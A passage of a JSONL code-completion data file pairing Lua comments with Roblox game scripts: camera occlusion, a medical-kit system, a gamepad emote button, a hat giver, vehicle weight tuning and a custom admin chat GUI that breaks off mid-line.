p42.camera:GetPartsObscuringTarget(v74, v75);\n\tlocal v87 = {};\n\tfor v88 = 1, #v86 do\n\t\tlocal v89 = v86[v88];\n\t\tv87[v89] = v78[v89] and v79 or v80;\n\t\tif v89.Transparency < v87[v89] then\n\t\t\tv76(v89);\n\t\tend;\n\t\tfor v90, v91 in pairs(v89:GetChildren()) do\n\t\t\tif (v91:IsA(\"Decal\") or v91:IsA(\"Texture\")) and v91.Transparency < v87[v89] then\n\t\t\t\tv87[v91] = v87[v89];\n\t\t\t\tv76(v91);\n\t\t\tend;\n\t\tend;\n\tend;\n\tfor v92, v93 in pairs(p42.savedHits) do\n\t\tif u10[v92] then\n\t\t\tv92.LocalTransparencyModifier = v92.Transparency < 1 and (v87[v92] - v92.Transparency) / (1 - v92.Transparency) or 0;\n\t\telse\n\t\t\tv92.LocalTransparencyModifier = v93;\n\t\t\tp42.savedHits[v92] = nil;\n\t\tend;\n\tend;\n\treturn p44, p45;\nend;\nreturn v3;\n"} +{"prompt": "-- Variables for the zombie, its humanoid, and destination", "completion": "\nlocal zombie = hroot\nlocal destination\n "} +{"prompt": "--If we can't find it, add it in", "completion": "\nif (Networking == nil) then\n\tNetworking = script.Parent.TeleporterNetworking:clone()\n\tNetworking.Parent = ReplicatedStorage\nend\n\n"} +{"prompt": "------------------------------------------------------------------------\n------------------------------------------------------------------------\n------------------------------------------------------------------------", "completion": "\n\nlocal Functions = Evt.MedSys\nlocal FunctionsMulti = Evt.MedSys.Multi\n\nlocal Compress = Functions.Compress\nlocal Bandage = Functions.Bandage\nlocal Splint = Functions.Splint\nlocal PainKiller = Functions.PainKiller\nlocal Energetic = Functions.Energetic\nlocal Tourniquet = Functions.Tourniquet\n\nlocal Compress_Multi = FunctionsMulti.Compress\nlocal Bandage_Multi = FunctionsMulti.Bandage\nlocal Splint_Multi = FunctionsMulti.Splint\nlocal Epinephrine_Multi = FunctionsMulti.Epinephrine\nlocal Morphine_Multi = FunctionsMulti.Morphine\nlocal BloodBag_Multi = FunctionsMulti.BloodBag\nlocal Tourniquet_Multi = FunctionsMulti.Tourniquet\n\nlocal Algemar = Functions.Algemar\nlocal Fome = Functions.Fome\nlocal Stance = Evt.MedSys.Stance\nlocal Collapse = Functions.Collapse\nlocal Reset = Functions.Reset\nlocal TS = game:GetService(\"TweenService\")\n\nCompress.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\n\tif enabled.Value == false and Caido.Value == false then\n\t\n\t\tif MLs.Value >= 2 then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tMLs.Value = 1\n\t\t\t\n\t\twait(5)\n\t\tenabled.Value = false\n\t\n\t\tend\t\n\tend\nend)\n\nBandage.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal Sangrando = Human.Parent.Saude.Stances.Sangrando\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Ferido = Human.Parent.Saude.Stances.Ferido\n\n\tlocal Bandagens = Human.Parent.Saude.Kit.Bandagem\n\n\tif enabled.Value == false and Caido.Value == false then\n\t\n\t\tif Bandagens.Value >= 1 and Sangrando.Value == true then \n\t\tenabled.Value = true\n\n\t\twait(.3)\t\t\n\t\t\n\t\tSangrando.Value = false\n\t\tBandagens.Value = Bandagens.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\n\t\tend\t\n\tend\t\nend)\n\nSplint.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal Sangrando = Human.Parent.Saude.Stances.Sangrando\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Ferido = Human.Parent.Saude.Stances.Ferido\n\n\tlocal Bandagens = Human.Parent.Saude.Kit.Splint\n\n\tif enabled.Value == false and Caido.Value == false then\n\t\n\t\tif Bandagens.Value >= 1 and Ferido.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tFerido.Value = false \n\t\t\n\t\tBandagens.Value = Bandagens.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\n\t\tend\t\n\tend\t\nend)\n\nPainKiller.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal Sangrando = Human.Parent.Saude.Stances.Sangrando\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Dor = Human.Parent.Saude.Variaveis.Dor\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Ferido = Human.Parent.Saude.Stances.Ferido\n\n\tlocal Bandagens = Human.Parent.Saude.Kit.Aspirina\n\n\tif enabled.Value == false and Caido.Value == false then\n\t\n\t\tif Bandagens.Value >= 1 and Dor.Value >= 1 then\n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tDor.Value = Dor.Value - math.random(60,75)\n\t\t\n\t\tBandagens.Value = Bandagens.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\n\t\tend\t\n\tend\t\nend)\n\nEnergetic.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal Sangrando = Human.Parent.Saude.Stances.Sangrando\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Dor = Human.Parent.Saude.Variaveis.Dor\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Ferido = Human.Parent.Saude.Stances.Ferido\n\n\tlocal Bandagens = Human.Parent.Saude.Kit.Energetico\n\t--local Energia = Human.Parent.Saude.Variaveis.Energia\n\n\tif enabled.Value == false and Caido.Value == false then\n\t\n\t\tif Human.Health < Human.MaxHealth then\n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tHuman.Health = Human.Health + (Human.MaxHealth/3)\n\t\t--Energia.Value = Energia.Value + (Energia.MaxValue/3)\n\t\tBandagens.Value = Bandagens.Value - 1\n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\n\t\tend\t\n\tend\t\nend)\n\nTourniquet.OnServerEvent:Connect(function(player)\n\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal Sangrando = Human.Parent.Saude.Stances.Sangrando\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Dor = Human.Parent.Saude.Variaveis.Dor\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Ferido = Human.Parent.Saude.Stances.Ferido\n\n\tlocal Bandagens = Human.Parent.Saude.Kit.Tourniquet\n\nif Human.Parent.Saude.Stances.Tourniquet.Value == false then\n\tif enabled.Value == false and Sangrando.Value == true and Bandagens.Value > 0 then\n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tHuman.Parent.Saude.Stances.Tourniquet.Value = true\n\t\tBandagens.Value = Bandagens.Value - 1\n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\t\n\tend\t\nelse\n\tif enabled.Value == false then\n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tHuman.Parent.Saude.Stances.Tourniquet.Value = false\n\t\tBandagens.Value = Bandagens.Value + 1\n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\tend\nend\nend)\n"} +{"prompt": "--[[\n\tButton for opening the EmoteBar on gamepad enabled devices.\n]]", "completion": "\n\nlocal ContextActionService = game:GetService(\"ContextActionService\")\n\nlocal Roact = require(script.Parent.Parent.Packages.Roact)\nlocal t = require(script.Parent.Parent.Packages.t)\nlocal ConfigurationContext = require(script.Parent.Parent.Packages.Configuration).ConfigurationContext\n\nlocal GamepadToggleButton = Roact.Component:extend(\"GamepadToggleButton\")\n\nlocal MAX_SIZE = 66\n\nGamepadToggleButton.defaultProps = {\n\tactionName = \"GamepadToggleButton\",\n\tonActivated = function() end,\n}\n\nGamepadToggleButton.validateProps = t.interface({\n\tonActivated = t.callback,\n\ttransparency = t.optional(t.union(t.table, t.number)), -- Binding or number\n})\n\nfunction GamepadToggleButton:init()\n\tself.onActivated = function(_actionName, inputState)\n\t\tif inputState ~= Enum.UserInputState.Begin then\n\t\t\treturn\n\t\tend\n\n\t\tself.props.onActivated()\n\tend\nend\n\nfunction GamepadToggleButton:render()\n\treturn Roact.createElement(\"ImageButton\", {\n\t\tSize = UDim2.fromOffset(MAX_SIZE, MAX_SIZE),\n\t\tImage = self.props.configuration.gamepadButtonIcon,\n\t\tImageTransparency = self.props.transparency,\n\t\tBackgroundTransparency = 1,\n\n\t\t[Roact.Event.Activated] = self.props.onActivated,\n\t}, {\n\t\tAspectRatio = Roact.createElement(\"UIAspectRatioConstraint\", {\n\t\t\tAspectRatio = 1,\n\t\t}),\n\n\t\tGamepadButton = Roact.createElement(\"ImageLabel\", {\n\t\t\tImage = self.props.configuration.toggleButtonImage,\n\t\t\tImageTransparency = self.props.transparency,\n\t\t\tSize = UDim2.fromScale(0.5, 0.5),\n\t\t\tPosition = UDim2.fromScale(1, 1),\n\t\t\tAnchorPoint = Vector2.new(0.85, 0.85),\n\t\t\tBackgroundTransparency = 1,\n\t\t}),\n\t})\nend\n\nfunction GamepadToggleButton:didMount()\n\tContextActionService:BindAction(\n\t\tself.props.actionName,\n\t\tself.onActivated,\n\t\tfalse,\n\t\tself.props.configuration.toggleButton\n\t)\nend\n\nfunction GamepadToggleButton:willUnmount()\n\tContextActionService:UnbindAction(self.props.actionName)\nend\n\nreturn ConfigurationContext.withConfiguration(GamepadToggleButton)\n"} +{"prompt": "-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388", "completion": "\n\n\n\n\n\n\n\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Hat\" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(-0,-0,-1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, -0.65, 0) -- Change these to change the positiones of your hat, as I said earlier.\n\t\twait(5)\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 4000\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name\n--// Be sure to update the console gui's code if you change stuff", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\tlocal storedChats = client.Variables.StoredChats\n\tlocal desc = gui.Desc\n\tlocal nohide = data.KeepChat\n\t\n\tlocal function Expand(ent, point)\n\t\tent.MouseLeave:connect(function(x,y)\n\t\t\tpoint.Visible = false\n\t\tend)\n\t\t\n\t\tent.MouseMoved:connect(function(x,y)\n\t\t\tpoint.Text = ent.Desc.Value\n\t\t\tpoint.Size = UDim2.new(0, 10000, 0, 10000)\n\t\t\tlocal bounds = point.TextBounds.X\n\t\t\tlocal rows = math.floor(bounds/500)\n\t\t\trows = rows+1\n\t\t\tif rows<1 then rows = 1 end\n\t\t\tlocal newx = 500\n\t\t\tif bounds<500 then newx = bounds end\n\t\t\tpoint.Visible = true\n\t\t\tpoint.Size = UDim2.new(0, newx+10, 0, rows*20)\n\t\t\tpoint.Position = UDim2.new(0, x, 0, y-40-(rows*20))\n\t\tend)\n\tend\n\t\n\tlocal function UpdateChat()\n\t\tif gui then\n\t\t\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\t\t\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\t\t\tlocal localTab = gui.Drag.Frame.Frame.Local\n\t\t\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\t\t\tlocal crossTab = gui.Drag.Frame.Frame.Cross\n\t\t\t\n\t\t\tlocal entry = gui.Entry\n\t\t\tlocal tester = gui.BoundTest\n\t\t\t\n\t\t\tglobalTab:ClearAllChildren()\n\t\t\tteamTab:ClearAllChildren()\n\t\t\tlocalTab:ClearAllChildren()\n\t\t\tadminsTab:ClearAllChildren()\n\t\t\tcrossTab:ClearAllChildren()\n\t\t\t\n\t\t\tlocal globalNum = 0\n\t\t\tlocal teamNum = 0\n\t\t\tlocal localNum = 0\n\t\t\tlocal adminsNum = 0\n\t\t\tlocal crossNum = 0\n\t\t\tfor i,v in pairs(storedChats) do\n\t\t\t\tlocal clone = entry:Clone()\n\t\t\t\tclone.Message.Text = service.MaxLen(v.Message,100)\n\t\t\t\tclone.Desc.Value = v.Message\n\t\t\t\tExpand(clone,desc)\n\t\t\t\tif not string.match(v.Player, \"%S\") then\n\t\t\t\t\tclone.Nameb.Text = v.Player\n\t\t\t\telse\n\t\t\t\t\tclone.Nameb.Text = \"[\"..v.Player..\"]: \"\n\t\t\t\tend\n\t\t\t\tclone.Visible = true\n\t\t\t\tclone.Nameb.Font = \"SourceSansBold\"\n\t\t\t\t\n\t\t\t\tlocal color = v.Color or BrickColor.White()\n\t\t\t\tclone.Nameb.TextColor3 = color.Color\n\t\t\t\t\n\t\t\t\t\n\t\t\t\ttester.Text = \"[\"..v.Player..\"]: \"\n\t\t\t\tlocal naml = tester.TextBounds.X + 5\n\t\t\t\tif naml>100 then naml = 100 end\n\t\t\t\t\n\t\t\t\ttester.Text = v.Message\n\t\t\t\tlocal mesl = tester.TextBounds.X\n\t\t\t\t\n\t\t\t\tclone.Message.Position = UDim2.new(0,naml,0,0)\n\t\t\t\tclone.Message.Size = UDim2.new(1,-(naml+10),1,0)\n\t\t\t\tclone.Nameb.Size = UDim2.new(0,naml,0,20)\n\t\t\t\t\n\t\t\t\tclone.Visible = false\n\t\t\t\tclone.Parent = globalTab\n\t\t\t\t\n\t\t\t\tlocal rows = math.floor((mesl+naml)/clone.AbsoluteSize.X)\n\t\t\t\trows = rows + 1\n\t\t\t\tif rows<1 then rows = 1 end\n\t\t\t\tif rows>3 then rows = 3 end\n\t\t\t\t--rows = rows+1\n\t\t\t\t\n\t\t\t\tclone.Parent = nil\n\t\t\t\tclone.Visible = true\n\t\t\t\t\n\t\t\t\tclone.Size = UDim2.new(1,0,0,rows*20)\n\t\t\t\t\n\t\t\t\tif v.Private then\n\t\t\t\t\tclone.Nameb.TextColor3 = Color3.new(150/255, 57/255, 176/255)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif v.Mode==\"Global\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,globalNum*20)\n\t\t\t\t\tglobalNum = globalNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tglobalNum = globalNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = globalTab\n\t\t\t\telseif v.Mode==\"Team\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,teamNum*20)\n\t\t\t\t\tteamNum = teamNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tteamNum = teamNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = teamTab\n\t\t\t\telseif v.Mode==\"Local\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,localNum*20)\n\t\t\t\t\tlocalNum = localNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tlocalNum = localNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = localTab\n\t\t\t\telseif v.Mode==\"Admins\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,adminsNum*20)\n\t\t\t\t\tadminsNum = adminsNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tadminsNum = adminsNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = adminsTab\n\t\t\t\telseif v.Mode==\"Cross\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,crossNum*20)\n\t\t\t\t\tcrossNum = crossNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tcrossNum = crossNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = crossTab\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tglobalTab.CanvasSize = UDim2.new(0, 0, 0, ((globalNum)*20))\n\t\t\tteamTab.CanvasSize = UDim2.new(0, 0, 0, ((teamNum)*20))\n\t\t\tlocalTab.CanvasSize = UDim2.new(0, 0, 0, ((localNum)*20))\n\t\t\tadminsTab.CanvasSize = UDim2.new(0, 0, 0, ((adminsNum)*20))\n\t\t\tcrossTab.CanvasSize = UDim2.new(0, 0, 0, ((crossNum)*20))\n\t\t\t\n\t\t\tlocal glob = (((globalNum)*20) - globalTab.AbsoluteWindowSize.Y)\n\t\t\tlocal tea = (((teamNum)*20) - teamTab.AbsoluteWindowSize.Y)\n\t\t\tlocal loc = (((localNum)*20) - localTab.AbsoluteWindowSize.Y)\n\t\t\tlocal adm = (((adminsNum)*20) - adminsTab.AbsoluteWindowSize.Y)\n\t\t\tlocal cro = (((crossNum)*20) - crossTab.AbsoluteWindowSize.Y)\n\t\t\t\n\t\t\tif glob<0 then glob=0 end\n\t\t\tif tea<0 then tea=0 end\n\t\t\tif loc<0 then loc=0 end\n\t\t\tif adm<0 then adm=0 end\n\t\t\tif cro<0 then cro=0 end\n\t\t\t\n\t\t\tglobalTab.CanvasPosition =Vector2.new(0,glob)\n\t\t\tteamTab.CanvasPosition =Vector2.new(0,tea)\n\t\t\tlocalTab.CanvasPosition = Vector2.new(0,loc)\n\t\t\tadminsTab.CanvasPosition = Vector2.new(0,adm)\n\t\t\tcrossTab.CanvasPosition = Vector2.new(0,cro)\n\t\tend\t\n\tend\n\t\n\tif not storedChats then\n\t\tclient.Variables.StoredChats = {}\n\t\tstoredChats = client.Variables.StoredChats\n\tend\n\t\n\tgTable:Ready()\n\t\n\tlocal bubble = gui.Bubble\n\tlocal toggle = gui.Toggle\n\tlocal drag = gui.Drag\n\tlocal frame = gui.Drag.Frame\n\tlocal frame2 = gui.Drag.Frame.Frame\n\tlocal box = gui.Drag.Frame.Chat\n\t\n\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\tlocal localTab = gui.Drag.Frame.Frame.Local\n\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\tlocal crossTab = gui.Drag.Frame.Frame.Cross\n\t\n\tlocal global = gui.Drag.Frame.Global\n\tlocal team = gui.Drag.Frame.Team\n\tlocal localb = gui.Drag.Frame.Local\n\tlocal admins = gui.Drag.Frame.Admins\n\tlocal cross = gui.Drag.Frame.Cross\n\t\n\tlocal ChatScript,ChatMain,Chatted = service.Player.PlayerScripts:FindFirstChild(\"ChatScript\")\n\tif ChatScript then\n\t\tChatMain = ChatScript:FindFirstChild(\"ChatMain\")\n\t\tif ChatMain then\n\t\t\tChatted = require(ChatMain).MessagePosted\n\t\tend\n\tend\n\t\n\tif not nohide then\n\t\tclient.Variables.CustomChat = true\n\t\tclient.Variables.ChatEnabled = false\n\t\tservice.StarterGui:SetCoreGuiEnabled('Chat',false)\n\telse\n\t\tdrag.Position = UDim2.new(0,10,1,-180)\n\tend\n\t\n\tlocal dragger = gui.Drag.Frame.Dragger\n\tlocal fakeDrag = gui.Drag.Frame.FakeDragger\n\t\n\tlocal boxFocused = false\n\tlocal mode = \"Global\"\n\t\n\tlocal lastChat = 0\n\tlocal lastClick = 0\n\tlocal isAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\n\tif not isAdmin then\n\t\tadmins.BackgroundTransparency = 0.8\n\t\tadmins.TextTransparency = 0.8\n\t\tcross.BackgroundTransparency = 0.8\n\t\tcross.TextTransparency = 0.8\n\tend\n\t\n\tif client.UI.Get(\"HelpButton\") then\n\t\ttoggle.Position = UDim2.new(1, -(45+45),1, -45)\n\tend\n\t\n\tlocal function openGlobal()\n\t\tglobalTab.Visible = true\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tglobal.Text = \"Global\"\n\t\tmode = \"Global\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openTeam()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = true\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tteam.Text = \"Team\"\n\t\tmode = \"Team\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tadmins.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openLocal()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = true\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tlocalb.Text = \"Local\"\n\t\tmode = \"Local\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0\n\t\tadmins.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openAdmins()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = true\n\t\tcrossTab.Visible = false\n\t\t\n\t\tadmins.Text = \"Admins\"\n\t\tmode = \"Admins\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openCross()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = true\n\t\t\n\t\tcross.Text = \"Cross\"\n\t\tmode = \"Cross\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function fadeIn()\n\t\t--[[\n\t\tframe.BackgroundTransparency = 0.5\n\t\tframe2.BackgroundTransparency = 0.5\n\t\tbox.BackgroundTransparency = 0.5\n\t\tfor i=0.1,0.5,0.1 do\n\t\t\t--wait(0.1)\n\t\t\tframe.BackgroundTransparency = 0.5-i\n\t\t\tframe2.BackgroundTransparency = 0.5-i\n\t\t\tbox.BackgroundTransparency = 0.5-i\n\t\tend-- Disabled ]]\n\t\tframe.BackgroundTransparency = 0\n\t\tframe2.BackgroundTransparency = 0\n\t\tbox.BackgroundTransparency = 0\n\t\tfakeDrag.Visible = true\n\tend\n\t\n\tlocal function fadeOut()\n\t\t--[[\n\t\tframe.BackgroundTransparency = 0\n\t\tframe2.BackgroundTransparency = 0\n\t\tbox.BackgroundTransparency = 0\n\t\tfor i=0.1,0.5,0.1 do\n\t\t\t--wait(0.1)\n\t\t\tframe.BackgroundTransparency = i\n\t\t\tframe2.BackgroundTransparency = i\n\t\t\tbox.BackgroundTransparency = i\n\t\tend-- Disabled ]]\n\t\tframe.BackgroundTransparency = 0.7\n\t\tframe2.BackgroundTransparency = 1\n\t\tbox.BackgroundTransparency = 1\n\t\tfakeDrag.Visible = false\n\tend\n\t\n\tfadeOut()\n\t\n\tframe.MouseEnter:connect(function()\n\t\tfadeIn()\n\tend)\n\t\n\tframe.MouseLeave:connect(function()\n\t\tif not boxFocused then\n\t\t\tfadeOut()\n\t\tend\n\tend)\n\t\n\ttoggle.MouseButton1Click:connect(function()\n\t\tif drag.Visible then\n\t\t\tdrag.Visible = false\n\t\t\ttoggle.Image = \"rbxassetid://417301749\"--417285299\"\n\t\telse\n\t\t\tdrag.Visible = true\n\t\t\ttoggle.Image = \"rbxassetid://417301773\"--417285351\"\n\t\tend\n\tend)\n\t\n\tglobal.MouseButton1Click:connect(function()\n\t\topenGlobal()\n\tend)\n\t\n\tteam.MouseButton1Click:connect(function()\n\t\topenTeam()\n\tend)\n\t\n\tlocalb.MouseButton1Click:connect(function()\n\t\topenLocal()\n\tend)\n\t\n\tadmins.MouseButton1Click:connect(function()\n\t\tif isAdmin or tick() - lastClick>5 then\n\t\t\tisAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\t\tif isAdmin then\n\t\t\t\topenAdmins()\n\t\t\telse\n\t\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\t\tadmins.TextTransparency = 0.8\n\t\t\tend\n\t\t\tlastClick = tick()\n\t\tend\n\tend)\n\t\n\tcross.MouseButton1Click:connect(function()\n\t\tif isAdmin or tick() - lastClick>5 then\n\t\t\tisAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\t\tif isAdmin then\n\t\t\t\topenCross()\n\t\t\telse\n\t\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\t\tcross.TextTransparency = 0.8\n\t\t\tend\n\t\t\tlastClick = tick()\n\t\tend\n\tend)\n\t\n\tbox.FocusLost:connect(function(enterPressed)\n\t\tboxFocused = false\n\t\tif enterPressed and not client.Variables.Muted then\n\t\t\tif box.Text~='' and ((mode~=\"Cross\" and tick()-lastChat>=0.5) or (mode==\"Cross\" and tick()-lastChat>=10)) then\n\t\t\t\tif not client.Variables.Muted 